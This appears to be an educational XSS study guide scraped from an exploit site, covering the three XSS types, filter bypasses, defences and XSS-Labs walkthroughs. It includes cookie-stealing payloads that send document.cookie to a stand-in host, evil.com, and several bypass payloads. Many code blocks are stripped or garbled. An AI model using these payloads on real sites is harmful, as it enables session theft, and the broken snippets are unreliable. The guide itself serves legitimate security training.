## https://sploitus.com/exploit?id=214A5A6A-EA17-5D8A-B746-8FBE778DDB86
# XSS Cross-Site Scripting Attack Technical Guide: From Principles to Practical Application
> A comprehensive set of study notes covering XSS principles, a comparison of the three types, hands-on practice on the XSS-Labs testing platform, and protection strategies and insights.
> Suitable for beginners in web security and can also serve as technical demonstration material for interview preparation.
---
## Table of Contents
- [Chapter 1: Basic Principles of XSS](#Chapter 1: Basic Principles of XSS)
- [Chapter 2: Common Attack Techniques and Mitigation](#Chapter 2: Common Attack Techniques and Mitigation)
- [Chapter 3: Solutions to the First 16 Levels of XSS-Labs] (#Chapter 3: Solutions to the First 16 Levels of XSS-Labs)
- [Chapter 4: Reflections](#Chapter 4: Reflections)
---
## Chapter 1: XSS Fundamentals
### 1.1 What Is XSS
XSS (Cross-Site Scripting) is an attack technique that injects malicious scripts into web pages, causing them to execute in the victimβs browser.
The key to understanding XSS lies in one fact: **browsers cannot distinguish between "legitimate scripts from the server" and "malicious scripts injected by an attacker"**. When a web application embeds user input into an HTML page without proper validation, an `alert(1)` submitted by an attacker will be executed by the browser as legitimate JavaScript code.
Letβs illustrate this with a classic example:
```text
Normal request: http://example.com/search.php?q=hello
Backend response: Search result: hello
Browser rendering: Displays "Search result: hello"
Malicious request: http://example.com/search.php?q=alert(1)
Backend response: Search result: hello
Browser rendering: Executes `alert(1)`, popping up a dialog box!
```
The attackerβs input `alert(1)` was intended to be βdataβ (a search keyword), but the browser interpreted it as βcodeβ (JavaScript). **The moment this boundary is breached is the moment an XSS attack occurs.**
The example above is a reflected XSS attack, but there are actually three types of XSS. The core difference among them lies in **the different paths through which malicious scripts reach the browser**.
### 1.2 Comparison of the Three Types
| Type | Principle | Trigger Method | Severity |
|------|------|----------|--------- -|
| **Reflected XSS** | Malicious scripts are passed via URL parameters, etc., and the server directly βreflectsβ them back to the response page | The victim clicks on a specially crafted malicious link | Medium β Requires user interaction |
| **Stored XSS** | Malicious scripts are stored in a database and read from the database and executed each time the page is accessed | Triggered simply by the victim visiting a normal page | **High β No user interaction required; allows for mass attacks** |
| **DOM-based XSS** | The malicious script is generated entirely on the client side by manipulating the DOM via JavaScript, without passing through the server | The victim clicks a malicious link | Medium β Leaves no trace in server logs |
**Key Difference Between Reflected and Stored XSS**: Reflected XSS is βone-timeββeach victim must click a unique malicious link; Stored XSS is βpersistentββthe attacker submits the malicious script once, and all users who subsequently visit the page are affected.
**Differences Between DOM-Based XSS and the Previous Two Types**: With DOM-based XSS, the payload never passes through the server; it is generated entirely by front-end JavaScript, which retrieves values from sources such as `document.location` or `document.referrer` and writes them directly to the DOM. Consequently, no traces of the attack appear in server access logs, which is why it is so difficult to detect.
### 1.3 Causes
The root causes of XSS can be boiled down to two points: **concatenating untrusted data into HTML pages** is the direct cause, while **failure to perform output encoding** is the underlying cause.
```php
// Reflected XSS β Insecure implementation
$keyword = $_GET['q'];
echo "Search results: " . $keyword . "";
// q=alert(1) β XSS occurs
// Stored XSS β Insecure implementation
$comment = $_POST['comment'];
mysqli_query($conn, "INSERT INTO comments (content) VALUES ('$comment')");
// Subsequently read and outputted directly β XSS triggered whenever anyone visits the page
```
```javascript
// DOM-based XSS β Insecure Implementation
var keyword = location.hash.substring(1);
document.getElementById("result").innerHTML = keyword;
// # β Directly writing to innerHTML causes XSS
```
The root cause of all three types is the same: **the boundary between data and code has not been properly isolated**.
### 1.4 Chain of Attacks
The risks posed by XSS are also progressiveβpop-up windows are merely the most basic verification method, and the true threats go far beyond that:
```
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Pop-up Verification β
β alert(1) β
β β β
β Cookie/Session Theft β
β new Image().src='http://evil.com?c='+document.cookie β
β β β
β Phishing Attacks β
β Injecting a forged login form to trick users into entering their passwords on the target domain β
β β β
β Worm Propagation β
β XSS + AJAX automatic forwarding/infection (e.g., the 2005 Samy worm, which infected a million users in 24 hours) β
β β β
β Browser Vulnerability Exploitation β Take Control of the Victimβs Host β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
Special Note: XSS has consistently ranked in the top five of the OWASP Top 10. Unlike SQL injectionβwhich targets the **server-side database**βXSS attacks the **client-side/user**. However, precisely because it targets users, it poses a significant threat in scenarios such as phishing, social engineering, and worm propagation.
---
## Chapter 2: Common Attack Techniques and Countermeasures
### 2.1 Hands-On Examples of Three Types of Attacks
#### Reflected XSS
Constructing malicious links to trick victims into clicking is the most common method of exploitation:
```html
http://target.com/search?q=document.location='http://evil.com/steal?c='+document.cookie
http://target.com/search?q=%3Cscript%3E...%3C%2Fscript%3E
```
Attackers typically use URL shortening services or phishing emails to send the encoded links.
#### Stored XSS
Comment sections, message boards, and user profile pages are the most common entry points for stored XSS:
```html
Comment content:
var img = new Image ();
img.src = 'http://evil.com/steal?cookie=' + encodeURIComponent(document.cookie);
```
Malicious scripts stored in the database are repeatedly read and output; **this is the most dangerous form of XSS**.
#### DOM-based XSS
Pure front-end vulnerabilities; attack vectors include `location.hash`, `document.referrer`, `postMessage`, and others:
```html
var url = location.hash.substring(1);
document.getElementById("content").innerHTML = url;
http://target.com/page#
```
`innerHTML`, `document.write()`, and `eval()` are all high-risk APIs for DOM-based XSS.
### 2.2 Common Bypass Techniques
XSS bypass is essentially a **battle against filtering rules**. Below are the four most common bypass techniques:
#### Case-Sensitivity Bypass
```html
```
> Youβll encounter this in XSS-Labs Levels 6 and 7. Remember that `On` is the simplest and most effective bypass.
#### Double-Write Bypass
```html
alert(1)
alert(1)
and -->
```
#### Encoding Bypass
This is the most important category of bypass techniques to master, involving three encoding schemes:
| Encoding Type | Syntax | Example |
|--------- -|------|------|
| HTML Entity Encoding | `&#ASCII code;` | `j` β `j` |
| URL Encoding | `%hexadecimal` | `%3C` β `
click
Encoded -->
%3Cscript%3Ealert(1)%3C/script%3E
```
#### Alternative Syntax Bypass
```html
-->
```
### 2.3 Protection Methods
XSS protection consists of a **three-tier defense**: output encoding is the foundation, CSP + HttpOnly mitigates the risk, and the XSS filter serves as the final safety net.
#### First Layer: Output Encoding (Fundamental)
Selecting different encoding methods based on the **output context** is the golden rule of XSS protection:
| Output Context | Encoding Method | Example |
|-----------|----------|------|
| HTML text content | HTML entity encoding | `` β `>` |
| HTML attribute values | HTML entity encoding + quotes | Always wrap attribute values in double quotes |
| In JavaScript | `\xHH` or JSON.stringify | Avoid concatenating user input directly into `` |
| In URLs | URL encoding | `encodeURIComponent()` |
| In CSS | CSS encoding | Avoid using user input in CSS |
```php
// PHP: Choose the encoding function based on context
echo htmlspecialchars($keyword, ENT_QUOTES, 'UTF-8'); // HTML text
echo json_encode($data, JSON_HEX_TAG | JSON_HEX_AMP); // In JavaScript
```
```javascript
// Frontend: Use `textContent` instead of `innerHTML` (best practice)
element.textContent = userInput; // Safe β does not parse HTML tags
element.innerHTML = userInput; // Dangerous β Parses HTML tags
// If innerHTML must be used, sanitize it first with DOMPurify
element.innerHTML = DOMPurify.sanitize(userInput);
```
#### Layer 2: Architectural Protection (Reducing the Attack Surface)
**HttpOnly Cookie** β Prevents JavaScript from reading cookies; even if an XSS attack succeeds, the session token cannot be stolen:
```
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
```
**CSP (Content Security Policy)** β Whitelists the sources of executable scripts:
```http
Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'self'
```
Meaning of this CSP rule: Only allows scripts to be loaded from the same origin; prohibits the `` tag; restricts the `` tag.
CSP cannot prevent XSS from occurring, but it can significantly reduce the attack surface after a successful XSS attack. When combined with `report-uri`, it also enables attack monitoring.
#### Layer 3: Process-Level Protection (Fallback)
- **Security Scanning**: Integrate tools such as OWASP ZAP into CI/CD to perform automated scans before every deployment
- **Code Audit Keywords**: Search for `innerHTML`, `document.write()`, `eval()`, and `.html()`
- **Frontend Security Guidelines**: The team should uniformly use `textContent` and avoid directly manipulating HTML strings
### 2.4 Key Protection Measures for Java / Spring Boot
As a Java backend developer, you should be familiar with the following security measures:
**Thymeleaf Template Engine**: By default, `th:text` is used for HTML entity encoding, requiring no additional processing:
```html
```
**JSP**: Use the `` tag for automatic escaping, or use the `fn:escapeXml()` function:
```jsp
```
**Spring Boot Global Protection**: Configure the `X-XSS-Protection` response header and integrate `Jsoup` whitelist sanitization:
```java
// Use Jsoup whitelist sanitization on user-input HTML
String safe = Jsoup.clean(userInput, Whitelist.basic());
```
| Protection Level | Key Points |
|----------|-----------|
| Output Encoding | Choose encoding method based on context: htmlspecialchars / textContent / th:text |
| CSP + HttpOnly | Even if XSS is successful, cookies cannot be stolen, and external scripts cannot be executed |
| Standards + Auditing | Code changes over time; scans must run continuously; `innerHTML` is the biggest red flag |
---
## Chapter 3: Solving the First 16 Challenges on XSS-labs
> XSS-labs and sqli-labs are both classic security training platforms, covering progressive training scenarios ranging from basic reflected XSS to filter bypasses, HTTP header injection, and AngularJS framework XSS.
### 3.0 Prerequisites
Before starting the challenges, you need to master the following HTML/JS fundamentals:
**Common XSS Event Attributes:**
| Event Attribute | Trigger Condition | Common Scenarios |
|----------|----------|----------|
| `onclick` | Element is clicked | When user interaction is required |
| `onerror` | Resource loading fails | `` β No interaction required |
| `onload` | Element loads completely | `` `` |
| `onfocus` | Element gains focus | Triggers automatically with the `autofocus` attribute |
| `onmouseover` | Mouse hovers | Requires the user to move the mouse over the element |
**Approach to Constructing XSS Payloads:**
```
Identify the output location β Determine the context (HTML text/attributes/JS/URL) β Choose a closing method β Construct complete HTML tags and events β Bypass any filters encountered
```
### 3.1 Plain Text Echo (Level 1)
Level 1 has no filtering whatsoever and is the simplest form of reflected XSS:
**Source Code Analysis:**
```php
$str = $_GET["name"];
echo "Welcome, " . $str . "";
```
User input is directly concatenated into the text content of the `` tag.
**Payload:**
```html
alert(1)
```
The page displays `Welcome useralert(1)`, and the browser executes the code immediately upon encountering the `` tag.
> This is the only level that requires no bypass techniques.
### 3.2 Attribute Value Closure (Level 2 ~ Level 7)
Starting from Level 2, the injection point shifts to the attribute values of HTML tags. The core approach becomes: **first close the current attribute, then inject your own event attribute**.
#### Level 2: Double-Quoted Attribute Value Closure
**Source Code Analysis:**
```php
echo "";
```
This is output to the `value` attribute of the `` tag. If you directly enter `alert(1)`, the page will display:
```html
alert(1)">
```
The browser treats the entire `` as the string value of the `value` attribute and does not execute it.
**Payload:**
```html
" onclick=alert(1)
```
After concatenation:
```html
```
> Level 3 simply closes the single quote (`' onclick=alert(1)`), while Level 4 uses double quotes but `<>` is encodedβso `" onclick=alert (1)`.
#### Level 5 ~ Level 7: Event Attributes Are Filtered
Level 5 replaces `on` with `o_n`, while Level 6 filters keywords such as `on` and `href`.
**Bypass Strategy:**
| Level | Filtering Rules | Payload | Bypass Principle |
|------|----------|---------|--------- -|
| Level 5 | `on` β `o_n` | `click` | Change approach: instead of using event attributes, use the `javascript:` pseudo-protocol in the `` tag |
| Level 6 | Filters `on`, `href`, etc. | `" Onclick=alert (1)` | Use uppercase `On` to bypass lowercase keyword matching |
| Level 7 | Filters `on` (all case) | `" oonnclick=alert(1)` | Double-writing approach: If filtering replaces the term with an empty string, `OONN` β filtered β `ON` |
> **Interview Tip**: If the interviewer asks, βWhat if `on` is filtered?β, first answer **case sensitivity** (`On`/`ON`), then answer **changing your approach** (using `` or other tags), and finally answer **other events** (`onfocus` + `autofocus`βno click required).
### 3.3 Pseudo-Protocol in `href` + HTML Entity Encoding (Level 8 ~ Level 9)
These two levels shift the injection point to the `href` attribute of the `` tag.
#### Level 8: The `script` keyword is replaced
**Source Code Analysis:**
```php
$str = strtolower($_GET["name"]);
$str = str_replace("script", "scr_ipt", $str);
echo "Friendly Links";
```
If you enter `javascript:alert(1)` directly, it will be replaced with `javascr_ipt:alert(1)`, rendering the link invalid.
**Payload:**
```html
javascript:alert(1)
```
`j` = `j`, `a` = `a`, `v` = `v`, `a` = `a`, `s` = `s`, `c` = `c`, `r` = `r`, `i` = `i`, `p` = `p`, `t` = `t` β when put together, they spell `javascript`.
> This is the level where users get stuck the longest. Key insight: The backend filters for the string `script`, but when the browser parses the `href` attribute, it decodes HTML entities. Only after decoding does it yield `javascript:`, at which point the backend check has already been bypassed.
#### Level 9: Added URL validity validation
**Additional Logic**: Checks whether the `href` value contains `http://`.
**Payload:**
```html
javascri&# 112;t:alert(1)//http://
```
By adding `//http://` after the `javascript:` pseudo-protocolβwhere `//` serves as a single-line comment in JavaScriptβ`http://` is commented out but still passes the URL validation.
> Key Technique: Use JavaScript comments `//` or `/* */` to "eat" excess validation content.
---